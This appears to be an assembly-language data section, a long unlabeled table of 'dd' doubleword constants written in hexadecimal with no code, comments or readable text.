dd 5DADD66Ah, 4D3D6EBFh, 0B5DA6CF6h, 0FD7ECB6Dh, 666EB74Ch
dd 53337DBDh, 31F83C16h, 1F8DC561h, 0B95C9E47h, 9DCD5D72h
dd 0DD1E873Fh, 0D0E8AD96h, 0BEC75D77h, 0EDF6D6ABh, 77FBCB0h
dd 0F8D5BDEFh, 9FCCA9F1h, 153E9F47h, 0DDEDF629h, 0CA4F87BFh
dd 0F5FA7CD3h, 9FC2613Dh, 0FCFEFF5Fh, 7FD429Bh, 64D9430h
dd 340B024h, 4124A40Bh, 84641305h, 841E4641h, 1507C230h
dd 3F906419h, 0C330C42Eh, 90E0F63Fh, 0F8EE3FC3h, 350B42A3h
dd 130F03FCh, 44E3A8EBh, 115C5714h, 2C5F170Eh, 6632C603h
dd 1AC6B1A4h, 0D0A3A91h, 0A2CC751Dh, 0F0B31F47h, 87214822h
dd 22C8B224h, 0C93240A7h, 0B260AC27h, 80A326C9h, 0A7294A32h
dd 2F0A72A4h, 0C121C92h, 0B2E4B72Dh, 0C0B12E4Bh, 0B42F0C02h
dd 278A02F4h, 4D220090h, 7364D735h, 0B4DE1DCDh, 0E7394E21h
dd 713FE94h, 0C1C4EF3Bh, 0E4F73D05h, 493D4FB3h, 40D03400h
dd 8454203Bh, 5440440Eh, 0C03A0C04h, 1E0AD1A0h, 18523485h
dd 0E07044h, 0B4B52F4Bh, 1A060681h, 134F2108h, 88A1C832h
dd 0A2A8A546h, 0A8E54E8Ch, 0D5690A3h, 4E9203C1h, 94A5892Ah
dd 25F59052h, 0A99A6497h, 0DA6E9C26h, 7CA12789h, 6128AA12h
dd 0A951C287h, 4A7A9CA5h, 0BAAAA9AAh, 9EACAB0Ah, 0B2ABAAEDh
dd 2D6B35A6h, 0AB7AD76Bh, 0BAE4B9ADh, 0FABADBABh, 0BFB02BDAh
dd 95CC0966h, 0C3B08C2h, 73165CB1h, 0DEC8B1ECh, 0CEB2CCADh
dd 9897A5E6h, 2D15EED1h, 83517D35h, 6F7EDFADh, 0D8603803h
dd 37EDE376h, 8E1384E0h, 6616E5B8h, 1EEAB998h, 0ECE21886h
dd 960EE3AEh, 8F03C2EEh, 0E3D4F23Ch, 3EF8BCF8h, 913ECF8Eh
dd 64AFE3EFh, 594402FCh, 265703C0h, 1B05C170h, 994244A4h
dd 1050A427h, 0B0CC4841h, 61150E43h, 4B9C4284h, 0F1154FEh
dd 0B160E83Ah, 0A0E117E8h, 971B68F1h, 1C47032Eh, 0C811FC79h
dd 0BAA48D1Eh, 4493216Ah, 0B7274A12h, 0AF4A82B6h, 6ADAC4A1h
dd 1B26C72Fh, 44CC2C0Ch, 0D736ED22h, 384DF36Eh, 4F1B84E9h
dd 9BA4FD3Ch, 3501414Fh, 0F425001h, 45D1343Dh, 0F0348D1Dh
dd 14AD2608h, 0E5354C53h, 17C553F4h, 51D4482Ah, 0D4F52A25h
dd 9555528Ch, 82469055h, 37595635h, 5C0655B7h, 5769A06Fh
dd 0E9ED7B5Eh, 1D836027h, 7162D856h, 650CF644h, 8E6AA2A5h
dd 2AE59D66h, 9DA9695Ah, 0D1DD5AF6h, 6DAE16CAh, 2F16F2E9h
dd 0B71DCABDh, 3B0773DCh, 0D8C7B14Ch, 0C879B77Dh, 0FA37ADE4h
dd 7EA5F0CBh, 0F355EB5Fh, 2687B37h, 0DCB6FEE6h, 37B83608h
dd 0B8538784h, 8E19F361h, 75F57D38h, 5AE29899h, 0E35F8630h
dd 1FA63A56h, 1BD9FB64h, 4D936459h, 9640394Eh, 0CB84DFFFh
dd 933365Ch, 36106B45h, 0FE85D9FBh, 0AE882438h, 2667E84Ch
dd 8AD09A0Ah, 0CDA522D6h, 9B4C82A8h, 869ED391h, 0CD59A886h
dd 924C1E83h, 4236B894h, 4B0D81AEh, 0A5B2C1Eh, 280500C1h
dd 4C85C130h, 0D89A1B48h, 0B8204336h, 94376E0Dh, 46EADCDBh
dd 2091BBB7h, 5BE2866Fh, 37F514A2h, 704E040Ch, 0E1410030h
dd 4DA9970Ch, 9F716411h, 1C018852h, 9487B8F7h, 0C392020Ah
dd 5042AA48h, 0CAB00BB9h, 95792455h, 2B5736E6h, 742E7D5Bh
dd 0AF41F3A2h, 3613D096h, 0A97511B6h, 8EEACA03h, 41D794E5h
dd 7BB37625h, 776D0316h, 6591DC3Bh, 0DDEBBB77h, 0BC1780EFh
dd 5C45F0C0h, 614C1180h, 0E4986170h, 0EE318BADh, 33245E72h
dd 51E8BD23h, 0B3D75F0Fh, 0E7B433DEh, 0B275EEAFh, 4DD9AE36h
dd 3E37C4F8h, 94C31C65h, 2A5F3CA7h, 563EB391h, 0BB7DA746h
dd 0E2FC05B8h, 75FA31A7h, 0CBF67EECh, 77F6FE9Fh, 6CA5FEB2h
dd 60009813h, 0F8FE04CBh, 0C8420232h, 59BB3676h, 9211502h
dd 80ECF449h, 1E10D339h, 941042Eh, 3068F04Eh, 308C9A42h
dd 0FDA741A8h, 0ACDF83E8h, 46BC14DAh, 0E1467242h, 21542884h
dd 0CEA0D218h, 0A10B12Dh, 0BC2704Eh, 1A434863h, 7486F0DAh
dd 769DE1CAh, 921EC3C8h, 12866F60h, 6A04A362h, 20454844h
dd 0E2483402h, 80D70F12h, 8A2E2E27h, 2A2A453h, 8D458722h
dd 5D02E470h, 3F4608F4h, 855681E2h, 19258C00h, 48C64A01h
dd 4AE09846h, 63383E57h, 13B0944Eh, 8E11B637h, 0B18A43AAh
dd 3ABAD28Eh, 0CD8EE1BEh, 0F91EE3CAh, 0FCB147D8h, 0DC817751h
dd 52EEF056h, 3221E248h, 974C8A2Fh, 0C90798BAh, 926F3648h
dd 2597A494h, 7DC985EFh, 9E36126Dh, 5A6E2AC4h, 1E514A13h
dd 4A77C6Ch, 7954F96Bh, 959656BEh, 98BB137Dh, 0B1B6332Ch
dd 96EC725Ah, 2EA5CB1Fh, 0BA4BD3F5h, 0C197E802h, 6330E614h
dd 9A4CFE56h, 24810B45h, 9A23041Ah, 266433D9h, 0A21844B0h
dd 768CD126h, 21C4384Dh, 60C4D746h, 1489B8D3h, 0B2D3811Fh
dd 0D69AFA45h, 6FA54848h, 699D70AAh, 0D61D2D00h, 0B2773679h
dd 54F29E10h, 66D93D1Bh, 29D67BCFh, 67DA799Fh, 3796EE9Fh
dd 0A02A167Fh, 41682444h, 85509A0Fh, 0D00E022h, 1843227Dh
dd 428880B2h, 0AD14226Eh, 0A0424728h, 94768D51h, 0C13D1FA3h
dd 52304608h, 262ADE92h, 4D15D528h, 9583EA52h, 52A5612Eh
dd 5F4B4250h, 0B0A4D30Ah, 0BC758E8Eh, 0A2B54E29h, 0B4F0B0D3h
dd 56C53E5Ah, 54277EB6h, 2FAB95E1h, 522A3BC5h, 0C73CA5D3h
dd 4FBFD534h, 0A4676A85h, 0A6AA2F9Ah, 8D569346h, 0AB1564Dh
dd 928982CAh, 2B0CA594h, 4A9AC758h, 7DB2B2B3h, 786B54B1h
dd 0B756D968h, 713DF5BEh, 0EAC94FB5h, 25FCBDAh, 3E264073h
dd 0C9895E90h, 15FE3DD7h, 44708C43h, 4C92BA84h, 902AC3FEh
dd 0AC5CD59Ah, 0D8C6928Bh, 29164EC8h, 65D20065h, 0CCA41C85h
dd 50499392h, 0B53A60FAh, 99A1CEB4h, 7E4FB4ADh, 385D3C67h
dd 8DB6D54Fh, 0C1B5ADB5h, 27D4ED6Bh, 87ADD413h, 6D813026h
dd 812886FBh, 6A08E02h, 954200D5h, 22DF2988h, 75C00100h
dd 0B8B70E8h, 37222B11h, 2E6D1755h, 0E7BA3848h, 0BA4ABC13h
dd 0E74965D4h, 9B5D8264h, 0DCA4F768h, 0D7A24255h, 8E375E18h
dd 914728D7h, 55901869h, 0E55AF4D3h, 0E3D08159h, 47EBDD1Eh
dd 136256F8h, 506F93BCh, 0A2DF6BE9h, 0E8BF2B92h, 1B23AFDAh
dd 46FF54C3h, 12F5C026h, 7AA4BD8Eh, 0EF5CD21Ah, 9EDE08C0h
dd 0D5BC1782h, 0C1EC1B06h, 2A308BE4h, 0AB0DC27h, 0DB3B2FABh
dd 0BF8670C1h, 770E56C3h, 3F8C3D8h, 91487D31h, 988C521Fh
dd 313E25AEh, 62BC54CBh, 0AFF4EA02h, 24C4988Ch, 45089422h
dd 1AB0B5FCh, 6F6203DAh
dd 0FE1622ACh, 3BB1C8BDh, 0CED2E0BEh, 519E3E0h, 0ED97C879h
dd 6C8C951Ah, 2D566F05h, 434DA085h, 65085793h, 0CA769F82h
dd 9BB2ADA9h, 2D5ADCAEh, 5D4F96C3h, 6B3F53F6h, 97324FFBh
dd 328FB739h, 7CD76EE8h, 19BF3729h, 0EE138ACEh, 67300A02h
dd 8B144E89h, 0AAEE5394h, 3EAADCF6h, 0B4BA5747h, 0CA4A7402h
dd 16942B88h, 4938BB5Ah, 0DE75CE74h, 11C74768h, 0A6DE6D2h
dd 0C785997Ah, 0D374EAF5h, 59F4E965h, 513BE77Ah, 7ED49213h
dd 52F1EFC1h, 0B6FEEAADh, 2F379DAh, 31855406h, 0D25F593Eh
dd 0D29A334h, 49CC0C33h, 93FD975Dh, 83AAE1ABh, 8D5FD7Fh
dd 0C5D89B0Fh, 6C754E9Eh, 2B649D91h, 60A9161Bh, 0E96DB376h
dd 0C27B68E1h, 2BA6D63Dh, 0D783F130h, 0AF882B6Dh, 20A63B3Dh
dd 0C1893112h, 1511960Eh, 0D3E46642h, 0AD0DCD0Dh, 0D639821Bh
dd 3DE3BC31h, 9BD0A6A3h, 0F216F746h, 59AC8E14h, 90FE75AEh
dd 52DA646Ah, 59F4B819h, 0E09C0ED1h, 6A328FAFh, 1DE56E13h
dd 0AF9F1960h, 597B2E5h, 0D94443F5h, 0CD03E2B6h, 0A01F41ADh
dd 0D9B5C371h, 0E2871FE3h, 724E4770h, 0E50E4B93h, 46F94817h
dd 0E972DB9Dh, 2AE639FEh, 43A0F998h, 0EB9C6867h, 0ED2EE77Ch
dd 0A624FF9h, 6B29D774h, 0BA1D360Eh, 0E9A76B7Ah, 0BE1A73A3h
dd 50A4174Bh, 44C87E9Fh, 54313522h, 0DFD59E67h, 6E4A7585h
dd 0F6B3EB9Dh, 0D3BB13Ah, 0B32AB8DDh, 0D35CBB2Bh, 3B48682Ah
dd 7BB5B5Fh, 72B1360Bh, 0B628E33Bh, 0E83B88E6h, 0A8ED3B98h
dd 3653BA85h, 0BD0F2BBCh, 8AB7AB6Bh, 0BC01902Bh, 0BC0FD194h
dd 3BC2A00Ah, 449DB3Ch, 0C6049266h, 48448463h, 9113C784h
dd 74A643C8h, 3C9BC9Bh, 83C3CB1Ah, 0CC83BA09h, 2A6D3CD3h
dd 9A71D683h, 0D01A59A6h, 23D12CBBh, 0A7437EA1h, 0A1AD0B25h
dd 82D23D69h, 2783D83Dh, 1932A329h, 85BDFE9Ah, 0CBDC32C3h
dd 0AD9B88BDh, 43942B89h, 0BA22B329h, 7B8CB8h, 900C01Ah
dd 0E803BE28h, 0BE4BE438h, 39BE5886h, 4393BE6Bh, 0B3D08DB9h
dd 0EAA8FA8Eh, 0A398011Bh, 2EB15BAEh, 0EDAEB81Fh, 0F15D39BBh
dd 0B463EFBEh, 9FBF13F0h, 83F2A39Bh, 34A8351Dh, 409DA0ACh
dd 43F6AF60h, 0AA03F7BAh, 0A216EBA6h, 3AA32FB2h, 0AA5BA997h
dd 0C6BFD3FCh, 0ABACBAC0h, 0A520E297h, 7CB01BAEh, 0BC018DE9h
dd 0C030D635h, 0D60DA456h, 69F09F00h, 0C07B5FC0h, 0E585D309h
dd 0A85D4098h, 40B8E740h, 0EFBBB258h, 0F3BC8F30h, 0A5C1FAC0h
dd 118F7C10h, 24129FECh, 0BC3B6DBCh, 4CC15907h, 8C164160h
dd 41A41941h, 0CC1C3C9h, 5BCBC1D1h, 46E03B91h, 0C811AB77h
dd 0FC2111BAh, 4231A631h, 0AB92B1ABh, 0B3D31AD9h, 12D91A9Ah
dd 0D19A1C27h, 3478C28Ah, 0C2AB832Dh, 2C21ABD9h, 0F27CB864h
dd 0AD938813h, 2128021Eh, 333DFAFEh, 2C322233h, 0BE2C33C3h
dd 4F4363E3h, 78052289h, 438AE2C3h, 0CAC39BE7h, 0A00F1569h
dd 92091C8h, 402E9C3Ch, 0B9CF43E3h, 15CC3F01h, 4109AB43h
dd 0EB44C41Ch, 0A37B4609h, 44BF1A97h, 6C461654h, 0B4BC4744h
dd 0F7449448h, 88480B43h, 96E350AFh, 0A79E1B51h, 53A93533h
dd 9E5A4717h, 4FCA00C5h, 80CDC504h, 8614518Ch, 531840CBh
dd 8D0453Ch, 8674013Bh, 570D70DDh, 44044034h, 0C06458BBh
dd 5AA52459h, 70E6B0A4h, 85D98798h, 0B3C5D9F4h, 0F45FB642h
dd 0C0EC608Eh, 5BA5AC61h, 4411191Ah, 0BC1900C6h, 0C2A60BC1h
dd 7262ABDBh, 0C6804E84h, 7BC7468h, 146ABC81h, 91210E84h
dd 6E37646Ch, 89A3C6ECh, 2C7CC283h, 6411DC20h, 2AC8AC91h
dd 37D9AB47h, 3611A270h, 5C774C90h, 1301B327h, 28C79130h
dd 4383C29Ch, 384C2B13h, 0DB3DA9B7h, 0DA1CAD73h, 3DDC2E47h
dd 0FEBDE812h, 309421BEh, 200AB8BCh, 48301848h, 84C84336h
dd 1287883Ch, 1533E639h, 0CA2E4AE4h, 0B48AA8D9h, 43C290C8h
dd 0EB231C3Dh, 29348E2h, 81F490C9h, 0EF491826h, 4C432363h
dd 0AF3B4949h, 40C96965h, 0FA9D4478h, 0AF7C988Ah, 0B7C9AC99h
dd 0D44BC4B0h, 3F9A430Bh, 461E4173h, 3FCC9EAh, 4A14F3CAh
dd 4A4A28CEh, 4A5CA4Ah, 0D30DF3Bh, 0A9304C02h, 5CAAC574h
dd 4AC0DF40h, 0B23B6C5Ah, 0B8E48E7Ah, 4AFCAF45h, 0D0EC30Bh
dd 9C0E40DCh, 4624B41Fh, 0F8B694B5h, 1D068538h, 4B685185h
dd 143C1100h, 2CB91FFBh, 0D0C04EA6h, 994BC416h, 0AA044BD9h
dd 31B46BC1h, 0C111641Dh, 2B774C1Ch, 11A377CCh, 1D8A6834h
dd 88A6D151h, 4C691AACh, 6F9ADCC7h, 64C991AAh, 9B247783h
dd 0D7CCCCCBh, 44CE4CDBh, 0CD032AB8h, 2CCD14D0h, 0EC2DCD23h
dd 0A20A1EC7h, 31B8B47Fh, 7808BE14h, 4344D800h, 4DFEA4D9h
dd 37085A28h, 0D2E3CDC4h, 0C3988BCDh, 12A8F4DEh, 752F0118h
dd 0C8D3EAB9h, 8F9CFCE2h, 5CE4C40Ch, 493BEFCEh, 99348238h
dd 60A84E8Ah, 34B3F4C9h, 3DC97CEAh, 0A4EC4EBAh, 0A9E8B549h
dd 0B9BF80B4h, 85749C0h, 2454F097h, 0A0BFBA46h, 34F3B55Ch
dd 0CD3FD54h, 0E0CF6357h, 5CF74A50h, 0CF806706h, 4455CA7h
dd 5B5D4FA4h, 0C580698Dh, 0FCCFC4FBh, 33094074h, 4FF0EA9Fh
dd 0D00061h, 70EA45E5h, 0D020EBA5h, 430DD02h, 3678F55h
dd 0D5950699h, 8D08507h, 5465D09Dh, 49999B1h, 70D0C50Ch
dd 0E468BC63h, 2C2A03D0h, 7410F204h, 5AC5375Bh, 0D1203C11h
dd 13917512h, 6832D145h, 0D16033D1h, 1B517D16h, 0B4C6D189h
dd 51BD1B91h, 0CBA14B81h, 751DC284h, 21851EA7h, 1F827024h
dd 1520A7A5h, 47D4D152h, 0D39BB523h, 622047FCh, 0BE0D2594h
dd 7A807BE1h, 7C83D285h, 0D7D000A2h, 2868FE00h, 0DB9C6886h
dd 0CCDCC874h, 0B9400A52h, 91A2FCDEh, 1C3C4E00h, 3EC01929h
dd 0E3D32D32h, 4B4439ACh, 0D35C9253h, 37536961h, 88A93A0Dh
dd 0BA21D953h, 0B053B4EAh, 6AF68480h, 0C9B44A3Fh, 0F096F241h
dd 2AFD2FB4h, 0D444F34Fh, 0FDD45544h, 83589E93h, 0DF8D154h
dd 4AC05067h, 0B9EE54BDh, 0C57C5606h, 0AE8679EFh, 4D4F2AF2h
dd 1F455018h, 0F48E3D51h, 440B0EC9h, 3BA0E755h, 0F0058BBBh
dd 74B3CB30h, 0D580F455h, 0ABD5918Fh, 0C4B6D07Dh, 50A10104h
dd 841436Dh, 0D5E55D9h, 847416B7h, 95605B2h, 219BD0E9h
dd 0B7541BD6h, 81A2B1Bh, 726BD65Ah, 0D6891AD6h, 6AB49569h
dd 0BD18D6B5h, 56CACB82h, 3A56D83Ah, 0F92FB250h, 479D7056h
dd 78218329h, 0A7AD732h, 81C42CD2h, 0D8A1D4D1h, 1A7FB892h
dd 333D7933h, 27D7ABE1h, 9B8E4D8Dh, 0D7D883CDh, 852E0D7Dh
dd 14383E50h, 4DE581D8h, 15752EFEh, 0E1D3148Ch, 3532894Ch
dd 0B9AC9023h, 0F0BEFD89h, 6A99D8BBh, 8350350Ah, 0D9D8D8A8h
dd 0CD39B4B1h, 8AF9DB34h, 0B2D912F6h, 0F1DC8478h, 0CEEC4AA9h
dd 7359416Fh, 0BAA4B539h, 0C9FC9F3Fh, 0A144F596h, 71E8CA1Ch
dd 8D2599D4h, 0F9CA80DFh, 0D8DAD9CCh, 0C04CA8D9h, 0A04AB54Dh
dd 24AC54EDh, 0DA3185DAh, 0EC5A45A3h, 58E98E78h, 5A75A6DAh
dd 3D035A8h, 0A98F5A9Dh, 8548F75Ah, 0ABDFB853h, 625ED59Dh
dd 0B6C4120Fh, 5E5AFCB8h, 255F04EDh, 8475B2DBh, 615B450Dh
dd 55B5DB55h, 0A6A5B6A0h, 0B8DB8564h, 0A513CC25h, 0D16516DBh
dd 725BC0A3h, 0B475D6BCh, 832DBF11h, 0C0DC003Ah, 702E92EDh
dd 2D2DC232h, 0C4C29D71h, 65742D5Dh, 32DDC75Ch, 2E93DD76h
dd 8C2FC7FCh, 0BE0C3157h, 7BDCBD26h, 0E94FD295h, 0DCFDCEDCh
dd 808861C6h, 0DD81D2C5h, 0A8E4894Dh, 0EB5D452Eh, 65861CE3h
dd 0FE74E35Dh, 0DD85895Dh
dd 2FBF09D2h, 716362A0h, 0E2C5DB8Ah, 0EA5DD5DCh, 0FAF61DA4h
dd 0A9DD900Ah, 488478B1h, 323FC498h, 53F8515Eh, 0E585A594h
dd 3DE73A9Dh, 0B565E854h, 652A844Fh, 6CF75478h, 5EC8DECAh
dd 4B1EED9Eh, 7DEEAAC5h, 0D60D98Dh, 9FCFB069h, 9BB55F15h
dd 5F35F2C5h, 14FF0E7h, 0DC5D5535h, 0B655F745h, 56DF85A7h
dd 25FADF9Dh, 0DFD5FC85h, 5A853E4Ch, 40F6900Dh, 2BBDAD99h
dd 12BD55Ch, 355F55EEh, 0E0460360h, 0C2DB4908h, 0CD6290F2h
dd 0BCB269C1h, 0C6D66565h, 0D3CE60A2h, 91D0A611h, 22E0CC71h
dd 5921E0DCh, 60FCC91Ah, 2283283Ah, 212D6111h, 5C25C1E1h
dd 0CF5C4614h, 1E165C54h, 2D8D22D2h, 0BDA7E817h, 89BFBDF1h
dd 48180E94h, 0CC5CBD7Ah, 538E528Dh, 0E1EE1E9Ch, 0E2150B38h
dd 233AA88Ah, 22D58262h, 24E243E9h, 6E26585Eh, 39BD3362h
dd 8AD89E28h, 562A9D4Dh, 0B6FE2B8Ah, 1D8E2CDDh, 3CA3C58Eh
dd 0F19B0AD8h, 0D90DDFE2h, 48969E81h, 0ACECE320h, 0D3E53D84h
dd 0F9634592h, 55E55E4Bh, 6375E6D9h, 0F4DE8E38h, 5E3AD98Ch
dd 8DF0D34Ah, 0EDD4CE3Ch, 0FE3F0DA5h, 640D4D63h, 42182069h
dd 3C59642Eh, 0C08B6164h, 0A5A4AB2h, 8E4840ACh, 5A88F0E4h
dd 5864ADF9h, 0D64D0F45h, 3BF99464h, 25AE4B7h, 12BCDAE9h
dd 507849A0h, 70E01E52h, 4DB3653Bh, 65590865h, 5719D19Bh
dd 0A65826A6h, 659E5926h, 69513D67h, 91DE5BDh, 0A0C65D83h
dd 5F82F65Eh, 3132660Eh, 82E9B192h, 0CC51CEB1h, 3570E134h
dd 66582638h, 74219E66h, 7D751B7Dh, 0D775C85Ch, 0E0220524h
dd 0DD2761BBh, 94C66E66h, 70E701C5h, 2E71AE0Eh, 0B3B487E7h
dd 8EE23954h, 5624A8F2h, 95A095E2h, 88677A92h, 0CDD809B5h
dd 161E7A39h, 0E834962Ah, 0CE7C8A64h, 5DD67DE7h, 4C67F167h
dd 0F8AEAF63h, 1842FEE2h, 0B15E08Bh, 84C99683h, 5B4F8486h
dd 3F88B768h, 35DE4BA7h, 7636B546h, 5E8176E3h, 0EA4F5DE9h
dd 0D453E8C5h, 4F968DE8h, 0D968F63Dh, 0B04E900h, 693E41E4h
dd 53694DA0h, 3552408Ah, 0E975F52Bh, 98E980E6h, 9D036996h
dd 0B678F35Fh, 5564C8F4h, 0F64D6EC0h, 25F463E4h, 14CB8313h
dd 184EA013h, 84CE5205h, 0A3266601h, 0CCBC6A3Eh, 6054BD4Bh
dd 719D46Bh, 95656A86h, 0EAA6A9EAh, 1D569CC2h, 1D6AEAD1h
dd 8362C8B2h, 7F119E0Fh, 26B1A153h, 4CB611E1h, 6551DE64h
dd 72D532A6h, 27C574EBh, 7D01C93Ah, 0E69668Ah, 0A803DE14h
dd 0D69465C9h, 36BCC824h, 0E6FB35C3h, 876BF6BEh, 16C0D7FAh
dd 88E4396Ch, 0C40916C2h, 0B6C5A31Eh, 0C90EC6AEh, 0E6EC8294h
dd 9ECA4434h, 0ECC6CBB7h, 47496ECCh, 0FECF0ADCh, 5E06D0ECh
dd 838486D2h, 0A0B3E856h, 6D56D549h, 35634E86h, 96D88596h
dd 0A4F46DFEh, 5E9EDB68h, 59EDCB58h, 0E0666DDBh, 6DFE8EE8h
dd 41690E40h, 20690D5Eh, 0EE2DF0E9h, 86E38DFh, 5409A554h
dd 501E97DFh, 0A8AB54B2h, 0B0F5EE9Dh, 55918E9Fh, 538556ECh
dd 0D738F380h, 69DEEDDFh, 9FB12A5Fh, 1105413Eh, 0D0C6A1EFh
dd 0F34BB6F2h, 484950D6h, 604DB3EFh, 1C6A6CBEh, 9EA82084h
dd 0DB95126Fh, 16038EFAh, 0DEFCF48Dh, 0EFE20F65h, 3603AE0Fh
dd 2C259310h, 92F7011Bh, 0B3EB3663h, 30247046h, 705CCF82h
dd 5481CCD1h, 9668E17Fh, 0C30524E1h, 48E1B281h, 0D6BC38C9h
dd 70E00C70h, 7070F14Fh, 328838FEh, 28A5D1AEh, 8F7131CAh
dd 948CEC40h, 81481495h, 9AE77F15h, 1E79678Bh, 0E29F1849h
dd 0CC5DAE7Bh, 0EE2D0AA6h, 5DEE7FE7h, 306D0DDFh, 0B26D06h
dd 4ED53CF2h, 0D63506D5h, 7E8753F6h, 0DE659568h, 26CA0DE6h
dd 0E1E6F277h, 0DEB63A0Ch, 0EC0D38CFh, 0FE2B6DEDh, 0C9EF72BFh
dd 0F2DF2E35h, 2FD4E72Eh, 44FD251Fh, 0C5CB61EEh, 0EC0E9F32h
dd 4F3440C8h, 0F35EE973h, 3925A98Fh, 0CF86F39Fh, 64F73B64h
dd 0FEE50994h, 0F73EEF00h, 0F416F273h, 3EA3D5Fh, 6E557436h
dd 0EF7D0FEFh, 46C6C269h, 0AD136097h, 91991DEFh, 17F4A567h
dd 119E0E5h, 66111466h, 1E11270h, 7037027h, 0E65D1ED7h
dd 0B7753752h, 0CA1BF076h, 81581B01h, 0D34D2817h, 0ECD421F4h
dd 0E6B577BDh, 81E6C00Ah, 0DF5AE1C4h, 75C88438h, 7275DF5Dh
dd 1A2B1C7Eh, 0F12EC1E2h, 14F61955h, 7892814Fh, 0C8EC8EE7h
dd 17A93AECh, 82986C97h, 0F1A833F6h, 0DDD3958Dh, 0D6801675h
dd 0F6C8ACA9h, 3E968DDFh, 0F208B4Ah, 0C9BBA677h, 0D7DE42A1h
dd 49E4724Eh, 0D42F73AAh, 27638247h, 860AA67h, 5EA8CD06h
dd 0DE0D45EBh, 0AE3E779Eh, 72E0DBF7h, 92FC9641h, 5AAEF7E6h
dd 0CFE6443Bh, 0F60EBF80h, 55FE98A5h, 44B2F835h, 5FB784F8h
dd 86F37F37h, 0EF87F39Fh, 788850DFh, 3DFFF3Ch, 26F1D5A1h
dd 0EF2D5E6Ah, 42F8D55Fh, 0E999C167h, 79003FD0h, 9219FCBFh
dd 8609F477h, 0F95567F4h, 97F4A795h, 96FF83AFh, 0AD012EF9h
dd 2DF9A214h, 0B02EE639h, 0F9C4CCF9h, 9D023572h, 8753D207h
dd 939F549Bh, 0A1017F54h, 0A47F7567h, 947221EBh, 0CB2DD758h
dd 7C82EBCDh, 0FA8DCE7Ah, 10B9070Fh, 0CF11F117h, 90E74A2h
dd 0AF7AE714h, 0BC8EF64Fh, 0E28F1709h, 0B3B47FB2h, 67DF1AFh
dd 0F3023988h, 27982C10h, 81411E50h, 0E4520902h, 4542E170h
dd 0AC510B10h, 22A1C8B8h, 6E371A48h, 92B1E4ACh, 351F8FC6h
dd 0EA292491h, 2A5349E4h, 0E574B257h, 984C25F2h, 0A2D164B4h
dd 0CE26EB85h, 0F172B89Ch, 17CBE5CCh, 873F6030h, 0F419FD12h
dd 42A4D228h, 460B0693h, 6232A9ECh, 0AD52A6CBh, 0B3AAD56Ah
dd 6EB6CCACh, 15E6FE7Dh, 0D3B0D81Ah, 6B2D92C6h, 0B4DA2CF6h
dd 85B1A568h, 0DC2BD6C6h, 0D2E75C67h, 19575BADh, 8F78BCDEh
dd 0EC263DF1h, 82C0E02Fh, 0AC2AEAFFh, 0C4E197EBh, 0DAEB178Ah
dd 6416D8E5h, 5160B7C7h, 32F96CAEh, 52A9CBE6h, 6ADCEAB5h
dd 0A2D0E833h, 0D2E9347h, 5529D4FAh, 56B357AAh, 29F5FA8Dh
dd 8543B252h, 0F6FB4D9Ah, 31BA4DEDh, 0A9BDEEE9h, 0A3E0A8D3h
dd 6E2F113Ah, 4924F8BCh, 724B9292h, 23B9FCE4h, 5119CAE5h
dd 0D1C8CEAFh, 0B68941A0h, 689ED9FFh, 0E13FF80Fh, 4F2F90FFh
dd 0F4FA0EFEh, 69C3D5EAh, 0FC0E3EDFh, 0C4CA71F8h, 3EFF632Fh
dd 0F7FAFCFEh, 0A6CFCFF3h, 0FC751D4Ch, 58105E7h, 17A0781Ah
dd 0E0B181F8h, 98386982h, 4A118306h, 601760C8h, 1605D160h
dd 21B86850h, 0F8761D87h, 304E1384h, 48886231h, 10046118h
dd 22B8AA29h, 0F8B83B8Bh, 0C8368BE2h, 340E4368h, 8DA370E6h
dd 0F0AC36FEh, 0F82E0AC2h, 3F9023F8h, 9824092h, 42209243h
dd 292A4807h, 38180882h, 1D054159h, 5653940h, 0C1195811h
dd 0B03E5803h, 80349725h, 6101C0E0h, 99006022h, 26700664h
dd 79AA699Ah, 0B66D9966h, 0B990059h, 9D00A02Ch, 109DA75h
dd 4042799Eh, 0FA7D9F01h, 81058149h, 782105Ah, 0E87A1821h
dd 9A2A8908h, 3A8D0AA8h, 290A68EAh, 0DC2709Ch, 0A97A5A95h
dd 0B0F8370Fh, 2A9CA729h, 0A1A829F1h, 1505212Ah, 2A7152A4h
dd 4AAAA9AAh, 86AD1845h, 6AAC0671h, 40AB2AC8h, 10640EB5h
dd 0D4410841h, 0F91043D0h, 854550BAh, 4711945Ch, 92148AC5h
dd 64949548h, 0B1294A12h, 0D14C52D4h, 4D5332BAh, 6D74E936h
dd 55053E4Fh, 2940B714h, 0E0B79425h, 5E54E532h, 0EE755D52h
dd 5D8CE55h, 0A9605857h, 0F1BC2EF5h, 0BD16C34Eh, 9725C56Fh
dd 0ABEAF95Dh, 0F17D5E57h, 84C01835h, 0FE0BF619h, 6C198C62h
dd 27096398h, 9666593Ch
dd 0C34B12C5h, 59E68195h, 7C59A667h, 69AD68F1h, 0A76C1ACCh
dd 291B22A4h, 5B86D9B5h, 0E6F09B6Eh, 1F29709Bh, 0C8265C67h
dd 741CC729h, 892749CFh, 0E761D575h, 73387788h, 3D799DC7h
dd 0D01EB79Fh, 9EF7B9E8h, 67D9F07Ch, 2B497F74h, 65809FDDh
dd 8174F820h, 20F8374Ah, 0D84E1384h, 66178545h, 1ED721E8h
dd 13222882h, 22C89E25h, 8C22DD9h, 0AA378CA3h, 398DB6ADh
dd 0BC2F8F0h, 643DCA41h, 0A9324591h, 624C9264h, 540601D0h
dd 95E55DFAh, 0E5D9725Ah, 10200797h, 2A6B9B66h, 8D9BA6BEh
dd 9DA739C7h, 27A02B91h, 29FE7F9Eh, 1E84A068h, 8AA2E88Ah
dd 0A479FA3Eh, 0BA3A5E93h, 0DA769AA6h, 93A9A8A9h, 0ADAAEA6Ah
dd 0AC2AEAB3h, 0AB4ACC67h, 7AE2B5ADh, 310A4250h, 8BAFD184h
dd 4588BAF8h, 0EC6B150Eh, 0EB249047h, 3ACDB2D1h, 0D24AECFBh
dd 0ADFE4B46h, 7F45372Ch, 793D4E6Dh, 0DFB72DDBh, 0B86DB51Ah
dd 0C453541h, 6BA2E65Eh, 0AD555E15h, 0F2BB6ECBh, 0FB0D75A2h
dd 0AF559FEAh, 0A5C6F734h, 0F177FD2Fh, 15FAFEBh, 0C130360Fh
dd 709FFB07h, 99217A2Fh, 61E65188h, 2C20230Fh, 0CF314626h
dd 0A281AC60h, 5D0418D9h, 80D01AF3h, 2324644Ch, 13746ED9h
dd 6709948Ah, 0E332C65h, 0B3166073h, 66A74CE8h, 0CE8EC9D4h
dd 44B3B3BCh, 413CCCF8h, 861DE17Bh, 19A28706h, 59F40E0Dh
